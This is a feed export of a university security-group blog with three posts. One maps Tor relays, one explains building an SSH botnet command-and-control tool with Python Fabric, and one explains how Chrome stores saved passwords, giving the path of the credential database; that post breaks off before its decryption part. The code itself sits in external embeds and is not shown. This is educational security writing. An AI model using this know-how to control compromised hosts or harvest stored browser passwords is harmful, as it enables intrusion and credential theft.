tag:blogger.com,1999:blog-332421942511470612024-03-16T04:23:08.578-05:00RaiderSecTexas Tech Security GroupJordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.comBlogger56125tag:blogger.com,1999:blog-33242194251147061.post-28088129666907219852013-09-13T07:32:00.000-05:002014-12-15T21:45:13.047-06:00Mapping Tor Relays and Exit Nodes<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjRqHT-0j5lLyWU8_YdLFDC9Z1ar1HwNpjjwUWbNtbdDzQdxsCpDee5PF9w7X7WETsvv-Zo-s58nPb2e4sn32bsn3WAmT9xPaBDk9hSeKTIgCbB2SGuq4fWxuxu-V4y8x-5PJapY3_6A/s1600/map.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjRqHT-0j5lLyWU8_YdLFDC9Z1ar1HwNpjjwUWbNtbdDzQdxsCpDee5PF9w7X7WETsvv-Zo-s58nPb2e4sn32bsn3WAmT9xPaBDk9hSeKTIgCbB2SGuq4fWxuxu-V4y8x-5PJapY3_6A/s640/map.png" height="245" style="-webkit-box-shadow: 0px 0px; border-color: transparent; box-shadow: 0px 0px;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Introduction</span><br />
<br />
The <a href="https://www.torproject.org/" target="_blank">Tor</a> network is used by anyone who wants to maintain their online anonymity. There has recently been <a href="http://blog.fox-it.com/2013/09/05/large-botnet-cause-of-recent-tor-network-overload/" target="_blank">quite</a> <a href="http://cybermashup.com/2013/09/04/dont-run-a-tor-router-and-a-hidden-service-from-the-same-connection/" target="_blank">a</a> <a href="http://www.ohmygodel.com/publications/usersrouted-ccs13.pdf" target="_blank">bit</a> of activity regarding Tor in the media, so I thought it would be helpful to explain a bit about how Tor's peer-to-peer structure is setup, as well as showing how we can create a map of Tor relays and exit nodes.<br />
<a name='more'></a><br />
<span style="font-size: large;">The Basics</span><br />
<br />
Before we can start mapping out the network, we first need to know a bit about how Tor works. I'll try to leave the nitty-gritty details (such as the encryption specifics) out of this post and instead hit the major high-level concepts. For anything I miss, feel free to refer to the official <a href="https://gitweb.torproject.org/torspec.git/tree" target="_blank">specifications</a>.<br />
<br />
The goal of Tor is to provide online anonymity to both the visitor of a service (in the case of a standard client), as well as the provider (in the case of <a href="https://www.torproject.org/docs/hidden-services.html.en" target="_blank">Hidden Services</a>). It does this by routing all traffic from the client to the destination through a series of <i>relays </i>called a <i>circuit</i>. Relays are simply Tor clients configured to also act as a router for other clients in order to provide more bandwidth to the network. By default, Tor clients send traffic through a circuit of 3 relays before reaching the final destination.<br />
<br />
Tor clients encrypt all their traffic so that routers will only know two things: where the traffic came from immediately before it, and where the next stop for the traffic will be. This is done by encrypting the traffic once for each relay in the circuit, using a different key for each layer of encryption. This way, as each relay receives the traffic, it can only strip off one layer of encryption, and then forward the data to the next destination. If the relay is forwarding the data to another relay, all it will see is encrypted ciphertext. The only relay which will see the actual data being sent to the final destination is the exit relay.<br />
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="-webkit-box-shadow: 0px 0px; border-color: transparent; box-shadow: 0px 0px; margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwQrn419D9gxq-vKKgvjeGReT7yD1yZpoRLZJkjG0fhScDR37BjN7vUS6H79Yevde6nHCEDUVyNML2u1yxIn02y_WG7LlY6lWagNKhUegz-15sr7QGtQ1ZmZ_D93lwcreMLo4eToG_hA/s1600/encryption.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwQrn419D9gxq-vKKgvjeGReT7yD1yZpoRLZJkjG0fhScDR37BjN7vUS6H79Yevde6nHCEDUVyNML2u1yxIn02y_WG7LlY6lWagNKhUegz-15sr7QGtQ1ZmZ_D93lwcreMLo4eToG_hA/s400/encryption.png" height="292" style="-webkit-box-shadow: 0px 0px; border-color: transparent; box-shadow: 0px 0px;" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><i>Traffic Encryption with Tor</i></td></tr>
</tbody></table>
<br />
There are 3 types of Tor servers: "normal" non-exit relays, exit-relays, and bridges. Both non-exit and exit relays are publicly listed for anyone to see (and map!). An exit-relay has simply been configured to also act as the exit point for traffic as it leaves the Tor network. A bridge, however, is <i>not</i> entirely publicly listed. This is primarily to allow users in censored environments to access the Tor network via unpublished IP addresses.<br />
<br />
<span style="font-size: large;">The Consensus</span><br />
<br />
So the question is: where is this public data located? Tor has a select few servers called <i>Directory Authorities</i>, which manage and maintain the information about relays. The locations of these servers are <a href="https://gitweb.torproject.org/tor.git/tree/src/or/config.c" target="_blank">hardcoded into Tor clients.</a> Each relay sends its information to the authorities every 18 hours in the form of a "server descriptor". A descriptor contains attributes such as the IP address, OS, Tor version, uptime, etc. in use by the relay. Then, every hour, these authorities vote on and publish a list of <i>microdescriptors</i> (short summaries of the server descriptors) for all currently running relays in a document called the "consensus". This document can be found via HTTP at the following URL:<br />
<br />
<div style="text-align: center;">
http://[directory authority IP]/tor/status-vote/current/consensus [<a href="http://82.94.251.203/tor/status-vote/current/consensus" target="_blank">example</a>]</div>
<br />
In addition to the consensus expiration information, as well as the directory authority information, the consensus contains the microdescriptors of the relays which look like this:<br />
<br />
<script src="https://gist.github.com/jordan-wright/6531867.js?file=consensus.txt"></script>
This snippet has the microdescriptors for 3 relays. We can see these microdescriptors contain information such as the nickname, IP address, bandwidth available, any flags assigned, and the exit policy of the relay. We can tell if a relay is a valid exit relay if it has the "Exit" flag listed.<br />
<br />
The full information about the <i>descriptor</i> and <i>microdescriptor </i>format can be found in the <a href="https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt#l1485" target="_blank">specification</a>. But, now that we know where to find the raw data, let's see if we can parse out the interesting information.<br />
<br />
<span style="font-size: large;">The Hard Way</span><br />
<br />
Now that we know where the relay information is located, we can create a Python script to pull down the consensus document, and parse out the nicknames, IP addresses, and whether or not the relay is an exit node:<br />
<br />
<script src="https://gist.github.com/jordan-wright/6531867.js?file=parse_consensus.py"></script>
<br />
This script creates a JSON file that looks like this:<br />
<br />
<script src="https://gist.github.com/jordan-wright/6531867.js?file=tor_relays_short.txt"></script>
<br />
Then, we can use <a href="http://dev.maxmind.com/geoip/legacy/geolite/" target="_blank">MaxMind's free GeoLite City</a> database to obtain the latitude and longitude given the relay's IP address:<br />
<br />
<script src="https://gist.github.com/jordan-wright/6531867.js?file=ip_geo.py"></script>
<br />
The final output will give us a file like this:<br />
<br />
<script src="https://gist.github.com/jordan-wright/6531867.js?file=tor_relays_geo.txt"></script>
Before throwing it all into a map, let's first see how the Tor project made it easy to get the same (and more!) data.<br />
<br />
<span style="font-size: large;">The Easy Way</span><br />
<br />
Fortunately for us, the Tor project has already done the hard work for us. Written in Java, the <a href="https://onionoo.torproject.org/" target="_blank">Onionoo</a> project provides a RESTful API into the data pulled from the consensus and more. In fact, instead of using the consensus which contains the microdescriptors of running relays, it queries the full list of router descriptors from the directory authorities. In addition to more information, these lists give the descriptors for non-running relays as well. We can see this list over HTTP at the following URL:<br />
<br />
<div style="text-align: center;">
http://[directory authority IP]/tor/server/all [<a href="http://82.94.251.203/tor/server/all" target="_blank">example</a>]<br />
<div>
<br /></div>
<div style="text-align: left;">
Since the Onionoo API is already up and running, we can use a standard jQuery AJAX request to get the data, which we will use to put into a map:</div>
<div style="text-align: left;">
<br />
<script src="https://gist.github.com/jordan-wright/6531867.js?file=get_data.js"></script>
</div>
<div style="text-align: left;">
The Onionoo project provides quite a bit of data, so I'll leave it to you to explore the different possibilities. Here's an example of the data that we receive:</div>
<div style="text-align: left;">
<br />
<script src="https://gist.github.com/jordan-wright/6531867.js?file=onionoo.txt"></script>
</div>
<div style="text-align: left;">
For now, let's throw this data into a pretty map.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: large;">Mapping the Data</span></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Now that we have the data we need, let's use the latitude and longitude data from the MaxMind GeoIP database to place a marker for each relay on a map created with <a href="http://jvectormap.com/" target="_blank">jVectorMap</a>. It should be noted that this was just a preference. You are more than free to use any map library (such as <a href="http://www.mapbox.com/" target="_blank">MapBox</a>). Here is the final HTML source:</div>
<div style="text-align: left;">
<br />
<script src="https://gist.github.com/jordan-wright/6531867.js?file=index.html"></script></div>
<br />
<div style="text-align: left;">
</div>
<div style="text-align: left;">
You can find a working demo <a href="http://jordan-wright.github.io/tormap/" target="_blank">here</a>. You should note that it may take a few seconds for the data to be retrieved from the Onionoo API.</div>
</div>
<br />
<span style="font-size: large;">Conclusion</span><br />
<br />
I hope this post not only showed you how we can use Tor relay information to create nice maps, but also gave a little more insight about how the Tor network structure works. I would recommend reading the specs if you want to know more information since this post just scratched the surface.<br />
<br />
As always, please leave any questions or comments below!<br />
<br />
-<a href="http://www.linkedin.com/pub/jordan-wright/54/795/752" target="_blank">Jordan</a>Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com1tag:blogger.com,1999:blog-33242194251147061.post-53731081383949874792013-07-05T07:39:00.000-05:002013-07-10T21:58:44.243-05:00Building an SSH Botnet C&C Using Python and Fabric<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpUdSlHNEgt-YqutFLXMvldBUdEfJWQQg5AiJZWQKejnru8duihTbIdyTxTzRyHaSEa6d34gLtw-xdZ1_iA7AIRj4ZvdUKBZUUKz4GWxNB15wOp2lnYW0CWyYE2pDq_iTqDqQ4dvrSxw/s866/header.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="305" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpUdSlHNEgt-YqutFLXMvldBUdEfJWQQg5AiJZWQKejnru8duihTbIdyTxTzRyHaSEa6d34gLtw-xdZ1_iA7AIRj4ZvdUKBZUUKz4GWxNB15wOp2lnYW0CWyYE2pDq_iTqDqQ4dvrSxw/s640/header.PNG" style="border-color: #222222;" width="640" /></a></div>
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Introduction</span><br />
<br />
<i>Disclaimer: I suppose it would be wise to put a disclaimer on this post. Compromising hosts to create a botnet without authorization is illegal, and not encouraged in any way. This post simply aims to show security professionals how attackers could use standard IT automation tools for a purpose in which they were not originally intended. Therefore, the content is meant for educational purposes <b>only</b>.</i><br />
<br />
System administrators often need to perform the same (or similar) tasks across a multitude of hosts. Doing this manually is unreasonable, so solutions have been created to help automate the process. While these solutions can be a life-saver to many, let's look at them in a different light. In this post, we'll explore how easy it would be for an attacker to use one of these solutions, a popular Python library called Fabric, to quickly create a command and control (C&C) application that can manage a multitude of infected hosts over SSH.<br />
<a name='more'></a><br />
<span style="font-size: large;">Fabric Basics</span><br />
<br />
<a href="http://fabfile.org/" target="_blank">Fabric's</a> documentation describes it as a "library and command-line tool for streamlining the use of SSH for application deployment or systems administration tasks." Using the popular <a href="https://github.com/paramiko/paramiko" target="_blank">Paramiko</a> Python library to manage it's SSH connections, Fabric provides programmers with an easy-to-use API to run sequential or parallel tasks across many machines. Before building a C&C application, let's explore some of the basics of Fabric (a full tutorial can be found <a href="http://docs.fabfile.org/en/1.6/#tutorial" target="_blank">here</a>).<br />
<br />
<b>The "fab" Command-line Tool</b><br />
<br />
While we won't be using it much in this post, I don't feel a post about Fabric would be complete without mentioning the "fab" tool. Usually, sysadmins only need to setup predefined commands (called <i>"tasks"</i>) to be run on multiple hosts. With this being the case, the standard application of Fabric is as follows:<br />
<ul>
<li>Create a "fabfile" (more on this later)</li>
<li>Use the fab tool to execute tasks defined in the fabfile on selected hosts</li>
</ul>
<div>
While this allows us to run a predefined set of commands, this isn't helpful if we want an interactive framework. The solution to this is found in the Fabric documentation:</div>
<div>
<br /></div>
<div>
<span style="background-color: #666666; font-family: Trebuchet MS, sans-serif;">The fab tool simply imports your fabfile and executes the function or functions you instruct it to. There’s nothing magic about it – anything you can do in a normal Python script can be done in a fabfile!</span><br />
<br />
This means that we can execute <i style="font-weight: bold;">any</i> task in our fabfile without needing to go through the fab command line tool. This is helpful, since we can create an interactive management wrapper to perform tasks on a dynamic list of hosts as we choose. But first, we need to address the obvious: what is a fabfile?<br />
<br />
<b>Fabfiles</b><br />
<b><br /></b>
In a nutshell, a fabfile is simply a file containing functions and commands that incorporate Fabric's API. These functions can be found in the fabric.api namespace. It's important to remember our note above which says that a fabfile is just Python - nothing special.<br />
<br />
So, with that brief intro, let's dive into the Fabric API to see how we can use the provided functions to build an SSH C&C:<br />
<br />
<b>Building the C&C</b><br />
<b><br /></b>
Let's assume an attacker managed to compromise numerous hosts, either <a href="http://hackoftheday.securitytube.net/2013/04/simulating-ssh-worm-using-python.html" target="_blank">using</a> <a href="http://my.safaribooksonline.com/book/programming/python/9781597499576/chapter-2dot-penetration-testing-with-python/s0035tit_chp002_html" target="_blank">SSH</a>, or via other means and now has SSH access to them. Let's also assume that credentials to these hosts are stored in a file with the following format:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">username@hostname:port password</span><br />
<br />
The example for this post will be as follows:<br />
<br />
<script src="https://gist.github.com/jordan-wright/5915260.js?file=creds.txt"></script><br />
<br />
It is important to note that Fabric tries to automatically detect the type of authentication needed (password or passphrase for private key). Therefore, if the passwords stored in the credentials file are for private keys, they should work seamlessly.<br />
<br />
Now that we have our credentials, let's consider what functions we will create. For the sake of this post, let's implement the following:<br />
<br />
<ul>
<li>Status check to see which hosts are running</li>
<li>Run a supplied command on multiple selected hosts</li>
<li>Create an interactive shell session with a host</li>
</ul>
<br />
<span style="font-family: inherit;">To start, we will import all members of the fabric.api namespace:</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><script src="https://gist.github.com/jordan-wright/5915260.js?file=import-fabric.py"></script></span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Next, we will use two of Fabric's environment variables, env.hosts and env.passwords, to manage our host connections. "Env.hosts" is a list we can use to manage our master host list, and env.passwords is a mapping between host strings and passwords to be used. This prevents us from having to enter the passwords upon each new connection. Let's read all the hosts and passwords from the credentials file and put them into the variables:</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><script src="https://gist.github.com/jordan-wright/5915260.js?file=fill_envs.py"></script></span><br />
<span style="font-family: inherit;"><br /></span>Now for the fun part - running commands. There are 6 types of command-execution functions that can we should consider:<br />
<br />
<ul>
<li><a href="http://docs.fabfile.org/en/1.6/api/core/operations.html#fabric.operations.run" target="_blank">run(command)</a> - Run a shell command on a remote host.</li>
<li><a href="http://docs.fabfile.org/en/1.6/api/core/operations.html#fabric.operations.sudo" target="_blank">sudo(comand)</a> - Run a shell command on a remote host, with superuser privileges.</li>
<li><a href="http://docs.fabfile.org/en/1.6/api/core/operations.html#fabric.operations.local" target="_blank">local(command)</a> - Run a command on the local system.</li>
<li><a href="http://docs.fabfile.org/en/1.6/api/core/operations.html#fabric.operations.open_shell" target="_blank">open_shell()</a> - Opens an interactive shell on the remote system</li>
<li><a href="http://docs.fabfile.org/en/1.6/api/core/operations.html#fabric.operations.get" target="_blank">get(remote_path, local_path) </a>- Download one or more files from a remote host.</li>
<li><a href="http://docs.fabfile.org/en/1.6/api/core/operations.html#fabric.operations.put" target="_blank">put(local_path, remote_path)</a> - Upload one or more files to a remote host.</li>
</ul>
<div>
Let's see how we can use these commands. First, let's create a function that takes in a command string, and execute the command using Fabric's "run" or "sudo" command as needed:</div>
<div>
<br /></div>
<div>
<script src="https://gist.github.com/jordan-wright/5915260.js?file=run_command.py"></script></div>
<div>
<br /></div>
<div>
Now, let's create a task that will use our run_command function to see which hosts are up and running. We will do this by executing the command <span style="font-family: Courier New, Courier, monospace;">uptime </span><span style="font-family: inherit;">on the hosts.</span></div>
<div>
<br /></div>
<div>
<script src="https://gist.github.com/jordan-wright/5915260.js?file=check_hosts.py"></script></div>
<div>
<br /></div>
<div>
For the other tasks, we will want to dynamically select which hosts we want to run a given command on, or establish a shell session to. We can do this by creating a menu, and then executing these tasks with a specific list of hosts using Fabric's <a href="http://docs.fabfile.org/en/1.6/usage/execution.html#intelligently-executing-tasks-with-execute" target="_blank">execute</a> function. Here's what this looks like:</div>
<div>
<br /></div>
<div>
<script src="https://gist.github.com/jordan-wright/5915260.js?file=menu.py"></script></div>
<div>
<br /></div>
<div>
I should note that I left out a task to put a file onto the remote host, since this can be easily done from the command line (though a task for this could be made easily). Let's see what our application looks like in action:</div>
<div>
<br /></div>
<div>
<script src="https://gist.github.com/jordan-wright/5915260.js?file=output.txt"></script></div>
<div>
<br /></div>
<div>
Great! It looks like we were able to successfully control all of the machines we had access to. It's important to note that there is <i style="font-weight: bold;">so much more</i> we can do with Fabric to help facilitate the host management. Here are just a few examples:</div>
<div>
<br /></div>
<div>
<ul>
<li>By adding the @parallel decorator before our tasks, our tasks will run in parallel (Note: this won't work in Windows).</li>
<li>Fabric also allows us to create groups (called roles). We could use these roles to create groups based on location, functionality, etc.</li>
<li>Since our fabfile is just Python, we can extend it to use any functionality we want. For example, we could easily create a web interface to this using Flask or Django</li>
</ul>
<div>
<br /></div>
<div>
<span style="font-size: large;">Conclusion</span></div>
</div>
<div>
</div>
<div>
The goal of this post was to give a practical example showing how attackers could use high-quality network management products in ways they weren't intended to be used. It's important to note that this same functionality could extend to any other IT automation solution such as <a href="http://www.opscode.com/chef/" target="_blank">Chef</a>, <a href="https://puppetlabs.com/" target="_blank">Puppet</a>, or <a href="http://www.ansibleworks.com/" target="_blank">Ansible</a>.</div>
<div>
<br /></div>
<div>
As always, feel free to leave questions and comments below.</div>
<div>
<br /></div>
<div>
<a href="http://www.linkedin.com/profile/view?id=193041134" target="_blank">- Jordan</a></div>
</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com1tag:blogger.com,1999:blog-33242194251147061.post-44378267542082175622013-06-20T22:08:00.001-05:002014-12-29T21:44:27.654-06:00How Browsers Store Your Passwords (and Why You Shouldn't Let Them)<span style="font-size: large;">Introduction</span><br />
<br />
In a <a href="http://raidersec.blogspot.com/2013/03/introducing-dumpmon-twitter-bot-that.html" target="_blank">previous post</a>, I introduced a Twitter bot called <a href="https://twitter.com/dumpmon" target="_blank">dumpmon </a>which monitors paste sites for account dumps, configuration files, and other information. Since then, I've been monitoring the information that is detected. While you can expect a follow-up post with more dumpmon-filled data soon, this post is about how browsers store passwords.<br />
<br />
I mention dumpmon because I have started to run across quite a few pastes like <a href="http://pastebin.com/raw.php?i=QMzNWqPF" target="_blank">this</a> that appear to be credential logs from malware on infected computers. It got me thinking - I've always considered it best to not have browsers store passwords directly, but why? How easy can it be for malware to pull these passwords off of infected computers? Since sources are a bit tough to find in one place, I've decided to post the results here, as well as show some simple code to extract passwords from each browser's password manager.<br />
<a name='more'></a><br />
<span style="font-size: large;">The Browsers</span><br />
<br />
For this post, I'll be analyzing the following browsers on a Windows 8 machine. Here's a table of contents for this post to help you skip to whatever browser you're interested in:<br />
<ul>
<li><a href="http://raidersec.blogspot.com/2013/06/how-browsers-store-your-passwords-and.html#chrome">Chrome 27.0.1453.110</a></li>
<li><a href="http://raidersec.blogspot.com/2013/06/how-browsers-store-your-passwords-and.html#ie">IE 10</a></li>
<li><a href="http://raidersec.blogspot.com/2013/06/how-browsers-store-your-passwords-and.html#firefox">Firefox 21.0</a></li>
</ul>
<div>
<br /></div>
<div>
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="-webkit-box-shadow: none; border: none; box-shadow: none; float: right; margin-left: 1em; text-align: right;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHKI2yoI8Je_y16wfWEJHzoksQep-I3Ew0j8Y7oHdpfz5xmuLmUru54OhFdPQPexC3Rqe1RPHJM1Dr_eRmmPLWO50WHhokewGK8AJliOR4uCisYK-8F2VZHadJ-dNJ8_RWyteKNIAzlg/s1600/chrome.png" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHKI2yoI8Je_y16wfWEJHzoksQep-I3Ew0j8Y7oHdpfz5xmuLmUru54OhFdPQPexC3Rqe1RPHJM1Dr_eRmmPLWO50WHhokewGK8AJliOR4uCisYK-8F2VZHadJ-dNJ8_RWyteKNIAzlg/s200/chrome.png" height="200" style="-webkit-box-shadow: none; border: none; box-shadow: none;" width="200" /></a></td></tr>
<tr><td class="tr-caption" style="border: none; text-align: center;">Logos by <a href="https://github.com/paulirish/browser-logos" target="_blank">Paul Irish</a></td></tr>
</tbody></table>
<span id="chrome" style="font-size: large;">Chrome</span></div>
<div>
<i>Difficulty to obtain passwords:</i><span style="color: orange; font-style: italic;"> </span><span style="color: #6aa84f; font-style: italic;">Easy</span></div>
<div>
<br />
Let's start with Chrome. Disappointingly, I found Chrome to be the easiest browser to extract passwords from. The encrypted passwords are stored in a sqlite database located at "%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data". But how do they get there? And how is it encrypted? I got a majority of information about how passwords are stored in Chrome from <a href="http://tech.pro/tutorial/828/how-google-chrome-stores-passwords" target="_blank">this article</a> written over 4 years ago. Since a bit has changed since then, I'll follow the same steps to show you how passwords are handled using snippets from the current Chromium source (or you just <a href="http://raidersec.blogspot.com/2013/06/how-browsers-store-your-passwords-and.html#chrome_decryption">skip straight to the decryption</a>).<br />
<br />
<b>Encryption and Storing Passwords</b><br />
When you attempt to log into a website, Chrome first checks to see if it was a successful login:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR49SCVYRT5WxPvEPRiYycSe1npPy_Q62XoOfR8XSg7S3Sy4rdEB9yKoOZxVh7nBvK6C66rEFK4VefQdB8zl0R4ES30DWwmgEnZta3xXyFAsZkQwPSsmfWAAUfd23BhGel8nZybSKbzA/s1600/chrome_step1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR49SCVYRT5WxPvEPRiYycSe1npPy_Q62XoOfR8XSg7S3Sy4rdEB9yKoOZxVh7nBvK6C66rEFK4VefQdB8zl0R4ES30DWwmgEnZta3xXyFAsZkQwPSsmfWAAUfd23BhGel8nZybSKbzA/s1600/chrome_step1.PNG" style="-webkit-box-shadow: none; border: none; box-shadow: none;" /></a></div>
<br />
We can see that if it's a successful login, and you used a new set of credentials that the browser didn't generate, Chrome will display a bar asking if you want your password to be remembered:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHNSSc8HKpdqPgb5HpI98K4Uy8akUqayB5g9MqWiEUwOb92p4KBFcb_Henl6VWQb1SRwniJxGbLsfk1xcDPLlNFAiXprFSe_Y1YXKwtwVia55qH3H5EGcmg9MLU9rNcs7LxDkNdx0bYw/s1600/chrome_bar.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHNSSc8HKpdqPgb5HpI98K4Uy8akUqayB5g9MqWiEUwOb92p4KBFcb_Henl6VWQb1SRwniJxGbLsfk1xcDPLlNFAiXprFSe_Y1YXKwtwVia55qH3H5EGcmg9MLU9rNcs7LxDkNdx0bYw/s1600/chrome_bar.PNG" style="-webkit-box-shadow: none; border: none; box-shadow: none;" /></a></div>
<br />
To save space, I'm omitting the code that creates the Save Password bar. However, if we click "Save password", the Accept function is called, which in turn calls the "Save" function of Chrome's password manager<span style="text-align: center;">:</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixF077lnSVNXZSg4w_3kqiG_bMk74W29pJRr9d58t9QIpu4uG5EvkQUWdXRCKT5hWuPI3dcbGTOW5LIbiAOTFrYcRibtPk-bRVb8J4Asd8uZlIa3xQbie0Ikk_Qtduv0nTZTKpUCOtDw/s1600/chrome_step4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixF077lnSVNXZSg4w_3kqiG_bMk74W29pJRr9d58t9QIpu4uG5EvkQUWdXRCKT5hWuPI3dcbGTOW5LIbiAOTFrYcRibtPk-bRVb8J4Asd8uZlIa3xQbie0Ikk_Qtduv0nTZTKpUCOtDw/s1600/chrome_step4.PNG" style="-webkit-box-shadow: none; border: none; box-shadow: none;" /></a></div>
<br />
Easy enough. If it's a new login, we need to save it as such:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdOpOcRoW-m7kKsTtt6lhNUHOFFRhxV54LDKErcjyYLOUrtAP99I1N2LoHnN69YWWwYPjY7iCrFoDqsGhf6uYnCFdv8ulddRj_4TIJE5iG2elLZVPlccMldEsZ0vdnbzR-bVkhhwo2bQ/s1600/chrome_step5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdOpOcRoW-m7kKsTtt6lhNUHOFFRhxV54LDKErcjyYLOUrtAP99I1N2LoHnN69YWWwYPjY7iCrFoDqsGhf6uYnCFdv8ulddRj_4TIJE5iG2elLZVPlccMldEsZ0vdnbzR-bVkhhwo2bQ/s1600/chrome_step5.PNG" style="-webkit-box-shadow: none; border: none; box-shadow: none;" /></a></div>
<br />
Again to save space, I've snipped a bit out of this (a check is performed to see if the credentials go to a Google website, etc.). After this function is called, a task is scheduled to perform the AddLoginImpl() function. This is to help keep the UI snappy:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcQL29zlthGu_ISrnaYkJCYSYDTdlgGQSRHG57lkYCMWwJ8UDoEUO7fy47MVkUoiHH766J2SLvSLh3ZHD0ZQ1cRFsGLVN9gpFlER0pApON67C4gaKtM-aAvpzVNYJSBFT_hUdYZOzCTA/s1600/chrome_step7.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcQL29zlthGu_ISrnaYkJCYSYDTdlgGQSRHG57lkYCMWwJ8UDoEUO7fy47MVkUoiHH766J2SLvSLh3ZHD0ZQ1cRFsGLVN9gpFlER0pApON67C4gaKtM-aAvpzVNYJSBFT_hUdYZOzCTA/s1600/chrome_step7.PNG" style="-webkit-box-shadow: none; border: none; box-shadow: none;" /></a></div>
<br />
This function attempts to call the AddLogin() function of the login database object, checking to see if it was successful. Here's the function (we're about to see how passwords are stored, I promise!):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRZPoHWSURzl731snF2yTxcr9epFLwSOG-5yDof9xQxLGUxXc4e_baUsm8rCSoDlBnHvbr4DCPek03TA7Z6Hsnr0EbB4C3FZgOX0AAFfvdulYYw9gCvZ9s26V54jeGQsJpf1Ec96lSoQ/s1600/chrome_step8.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRZPoHWSURzl731snF2yTxcr9epFLwSOG-5yDof9xQxLGUxXc4e_baUsm8rCSoDlBnHvbr4DCPek03TA7Z6Hsnr0EbB4C3FZgOX0AAFfvdulYYw9gCvZ9s26V54jeGQsJpf1Ec96lSoQ/s1600/chrome_step8.PNG" style="-webkit-box-shadow: none; border: none; box-shadow: none;" /></a></div>
<br />
Now we're getting somewhere. We create an encrypted string out of our password. I've snipped it out, but below the "sql::Statement" line, a SQL query is performed to store the encrypted data in the Login Data file. The EncryptedString function simply calls the EncryptString16 function on an Encryptor object (this just calls the following function below):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKuJ2k3N_wn_syZa-lbrJgJmzMyNuFgqV7ZOqnOY6hzKvqnT4Be7Kg8GDDxTW2qB_sTR5A1kO8pL9xCCbV4jcQTMg47gkZ5grRoMdEl8rVTUNEib9yhDCSi5iiN62zAEIAEpoLoi7xUw/s1600/chrome_step10.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKuJ2k3N_wn_syZa-lbrJgJmzMyNuFgqV7ZOqnOY6hzKvqnT4Be7Kg8GDDxTW2qB_sTR5A1kO8pL9xCCbV4jcQTMg47gkZ5grRoMdEl8rVTUNEib9yhDCSi5iiN62zAEIAEpoLoi7xUw/s1600/chrome_step10.PNG" style="-webkit-box-shadow: none; border: none; box-shadow: none;" /></a></div>
<br />
<b>Finally</b>! We can finally see that the password given is encrypted using a call to the Windows API function <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx" target="_blank">CryptProtectData</a>. This means that the password is likely to only be recovered by a user with the same logon credential that encrypted the data. This is no problem, since malware is usually executed within the context of a user.<br />
<br />
<b id="chrome_decryption">Decrypting the Passwords</b><br />
<b><br /></b>
